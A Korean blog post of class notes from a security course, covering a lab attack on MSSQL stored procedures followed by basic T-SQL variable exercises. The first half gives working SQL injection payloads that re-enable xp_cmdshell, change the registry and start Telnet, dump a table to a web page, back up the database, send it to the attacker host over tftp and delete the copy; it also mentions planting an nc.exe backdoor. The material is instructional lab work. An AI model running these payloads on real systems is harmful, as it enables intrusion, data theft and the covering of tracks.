저번에 마지막으로 내준 실습을 알려주고 할듯
[ 실습 ] MSSQL Stored Procedure
- 역할분담(Attacker, Victim) 후 진행
1. Stored Procedure의 사용 여부 확인
- Attacker(WinXP)는 Victim(Win2000)에서 Stored Procedure의 사용 여부를 확인한다.
2. Backdoor(nc.exe) 설치, Reverse Shell 획득
- Stored Procedure를 이용해 Victim에 Backdoor를 설치하고 Reverse Shell을 획득한다.
3. Victim에 local 사용자 계정을 생성하고 DBMS의 ID, PW 확인
- 사용자 계정명은 Hacker로 한다.
- Victim의 시스템 파일(dbconn.inc)을 조사하여, DBMS의 ID, PW 확인한다.
4. DB정보 열람 및 탈취
- MSSQL Server에 클라이언트 프로그램(SQL gate)을 이용해 원격 접속하여 DB정보를 열람한다.
(SQL gate는 두개중 하나만 써서 잘 되는걸 쓴다.)
- 만약 잘 한것 같은데도 안된다면 컴퓨터 이름 변경 후 진행하면 연결이 잘 됩니다.
여기까지는 저번시간에 했던 실습이다.
5. Victim의 방어
- Victim은 피해를 확인하고 Stored Procedure를 사용하지 못하게 설정한다.
[ 해답 ]
5번같은 경우는 근본적으로 이걸 할 수 없게 만드는것이다.
프록시를 못사용하게 하기위해선 stored procedure이 있는데.
procedure을 지우는 procedure이 있다.
서버로 와서 저장프로시저에 dbo.sp_addextendedproc가 있는데 이거롤 삭제할 수 있음
exec master.dbo.sp_dropextendedproc xp_cmdshell을 실행하면 xp_cmdshell을 사용할 수 없다.
그렇게 실행하게 되면 공격자 컴퓨터에선 포트까지만 열고 접속이 안되는걸 확인할 수 있음
6. Attacker의 재 침입
- Stored Procedure의 사용 여부를 가능하게 설정하여 공격을 재시도한다.
이것 까지 막은 공격자는 다시 시도한다. 삭제한걸 다시 ad를 사용해서 추가하면 된다.
대신 추가할 땐 add를 사용해서 쓴다.
exec master.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
명령어는 이렇게 실행한다.
'; exec master.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll';
이런식으로 로그인창에서 실행하면 다시 접속할 수 있음
프로시저를 사용하면 특정 서버의 제어가 가능하다.
telnet같은경우는 안정성이 보장되지 않는다. 그래서 비활성을 많이 시킨다.
이것을 프로시저를 이용해 텔넷 서비스를 켜주고 접근할 것이다.
이거를 가능케하는 프로시저에는 servicecontrol로 제어가 가능하다.
telnet서비스를 시작해보고 원격으로 들어갈 것
telnet 하고 아이피를 이용해 접속하면 그냥 가능하진 않음
서버에서 가능한 인증방식을 이용해서 해야한다.
서버로 와서 레지스트편집기로 와준다. regedit을 검색해서 레지 에디트에는 소프트웨어 안에 마이크로 소프트가 있고 거기에 telnet서버가 있다.
그 안에 NTLM이 있는데 이걸 다운그레이드를 해준다.
이걸 수정해주면 telnet에 접근이 가능해진다.
dbo.xp_regwrite와 dbo.xp_servicecontrol의 두개로
방금 수행한 과정을 프로시져로 클라이언트에서 가능해진다.
TlntSvr가 Telnet을 키게 할 수 있는 명령어로 뒤에 붙여주면 된다.
순서대로 경로를 작성해주면 된다.
dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFT\ARE\Microsoft\TelnetServer\1.0', 'NTLM', reg_dword' ,1 이런식으로 작성해주게 되면 경로를 따라서 NTLM이 2였던것이 1로 바꿔준다는 소리다.
이것을 webhack사이트에 입력을 해주기 위해서 명령어를 만들어준다.
';exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFT\ARE\Microsoft\TelnetServer\1.0', 'NTLM', reg_dword' ,1--
공격자 컴퓨터에서 이대로 입력해주게 되면 피해자 컴퓨터인 내 컴퓨터에 NTLM이 2에서 1로 바뀌게 되고 이것만으론 telnet이 연결되는게 아니라 telnet도 켜준다.
';exec master.dbo.xp_servicenotrol 'start', 'TlntSvr'--을 하게되면 telnet이 켜지게 됨
프로시저에는 저장프로시저에 dbo.sp_makewebtask가 있다.
이러한 프로시저는 웹페이지를 만들어주는 것
exec master.dbo.sp_makewebtask 'c:\inetpub\webhack\member.html' , 'select*from webhack.dbo.member'이렇게 입력하고 member/member.html로 가게되면 어떠한 결과도 페이지로 만들어지는걸 확인할 수 있음
서버에서 데이터베이스를 백업본을 만들어놓고 그 백업본을 가져가고 삭제해도 되지않을까 라는 생각도 했음 그래서 백업에 대한 명령어는 이런식으로 작성이 된다.
BACKUP DATABASE webhack TO DISK='c:\mssql.bak' WITH INIT
이걸 c드라이브를 확인해보면 만들어진걸 확인할 수 있음
이걸 클라이언트에서 실행하기 위해선 로그인 창에 '; BACKUP DATABASE webhack TO DISK='c:\mssql.bak' WITH INIT-- 을 입력해주면 아까 그 자리에 다시 생성되는걸 확인할 수 있음
클라이언트에서 만든 백업본을 다시 클라이언트로 넘기는 명령어를 입력하기 전에 tftp를 통해 옮겨주기 때문에 tftp를 실행해서 경로를 지정해줘야함
';exec master.dbo.xp_cmdshell 'tftp -i 192.168.1.10 put c:\mssql.bak'--
이렇게 입력하면 만들어진 백업본을 클라이언트로 옮기는 명령어다.
';exec master.dbo.xp_cmdshell 'del c:\mssql.bak'--
이런식으로 입력하면 옮기고 server에 있는 백업본을 클라이언트에서 삭제하는 명령어다.
SQL구문에 변수라는게 있다.
T-SQL이라고 한다.
기존의 알고있는 SQL에서 언어의 변수라던 제어문이라던 것들을 플러스해서 다량의 SQL 구문을 만드는것이 목적이다.
variable(변수) : 임시저장 공간
간단하게 선언문에 대해서 해보면
T-SQL의 변수선언문은 declare로 한다. var는 변수이름이다. @는 변수이름을 선언하는 것
int는 정수형 데이터 타입이다.
만약 TSQL구문에서 select문을 사용해서 결과를 확인하고싶다면 이런식으로 작성해주면 된다. 하지만 하위쿼리 느낌이기 때문에 괄호를 사용해줘야함 select age from member where id=2
사용 가능한 함수
datepart() 날짜와 시간에 관련되어있는 함수
select datepart(dw, getdate())
dw하게되면 2가 나오는데 이걸 정확하게 이해하기 위해서는 datename이라고 작성해주는데 datename은 문자열로 치환을 해주는 것이다.
select datename(dw,getdate())를 입력하면 월요일이라고 나온다.
dw는 요일정보를 나타내는 함수이다.
그리고 날짜정보에 관련된 함수에는 yy, mm, dd, dw, hh, mi, ss, ms 등등이 있다.
순서대로 년, 월, 일, 요일, 시간, 분, 초, 초속이라고 함.
하나의 변수에는 하나만 저장할 수 있고 하나의 변수에 두개 이상의 값이 함께 출력하는것은 안된다.
[ 실습 1 ] 회원의 나이를 변수에 저장하여 출력하라.
- 변수명은 임의로 한다.
declare @var int
set @var = (select age from member where id=2)
select @var
[ 실습 2 ] 회원의 이름을 출력하라.
declare @var varchar(20)
set @var = (select name from member where id=2)
select @var
[ 실습 3 ] 회원의 성을 출력하라.
declare @var varchar(20)
set @var = (select substring(name,1,1) from member where id=2)
select @var
[ 실습 4 ] 회원의 나이와 이름, 성을 한꺼번에 출력하라.
- 출력결과에 Column명을 각각 나이,성,이름으로 별칭을 부여한다.
- 이름은 성을 제외한 이름만 출력한다.
declare @age int, @name1 varchar(2), @name2 varchar(10)
set @age = (select age from member where id=2)
set @name1 = (select name from member where id=2)
set @name2 = (select substring((select name from member where id=2),2,9))
select @age as 나이, @name1 as 성, @name2 as 이름
'학원' 카테고리의 다른 글
2023/08/09 IDS (0) | 2023.08.09 |
---|---|
2023/08/08 커서 (0) | 2023.08.08 |
2023/08/04 프로시저 (0) | 2023.08.04 |
2023/08/03 Blind Injection (0) | 2023.08.03 |
2023/08/01 convert (0) | 2023.08.01 |